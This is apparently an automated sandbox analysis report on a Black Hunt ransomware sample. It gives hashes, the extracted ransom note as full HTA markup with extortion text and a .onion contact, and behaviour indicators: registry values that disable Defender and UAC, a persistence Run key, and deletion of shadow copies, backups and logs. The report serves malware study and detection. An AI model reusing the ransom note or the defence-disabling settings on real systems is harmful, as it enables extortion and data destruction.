17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2

Analysis

max time kernel
118s
max time network
128s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:37

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General

Target

17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Size

707KB
MD5

f7a45fc977a453a9d1ff67d995b9a7d2
SHA1

77cf91c26569b3df542717ff5fa45a5848b20f59
SHA256

17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2
SHA512

4824a2b54afede8e4213948f12fa35c609b4d75febe5e5c1e6061bae9b534b8531f01cd6c8baf562cb26bd5fc41af40a1caa67d9d3ab7efec86e12011081701f
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1O8Lvnh:6uaTmkZJ+naie5OTamgEoKxLWNbh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 8KxxmLQIVe084UHQ </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2996	fsutil.exe
3012	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2068	wevtutil.exe
1064	wevtutil.exe
596	wevtutil.exe
1956	wevtutil.exe
524	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2840	bcdedit.exe
2852	bcdedit.exe
1804	bcdedit.exe
2424	bcdedit.exe

Renames multiple (833) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
568	wbadmin.exe
1996	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2092	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\E:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\I:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\H:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\U:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\X:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\R:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\B:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\N:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\V:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\G:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\L:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\S:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\T:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\A:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\J:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\M:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\O:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened (read-only)	\??\P:	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Ceuta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ko_KR.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\sound.properties	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_CN.properties	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\epl-v10.html	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\plugin2\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Paris	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
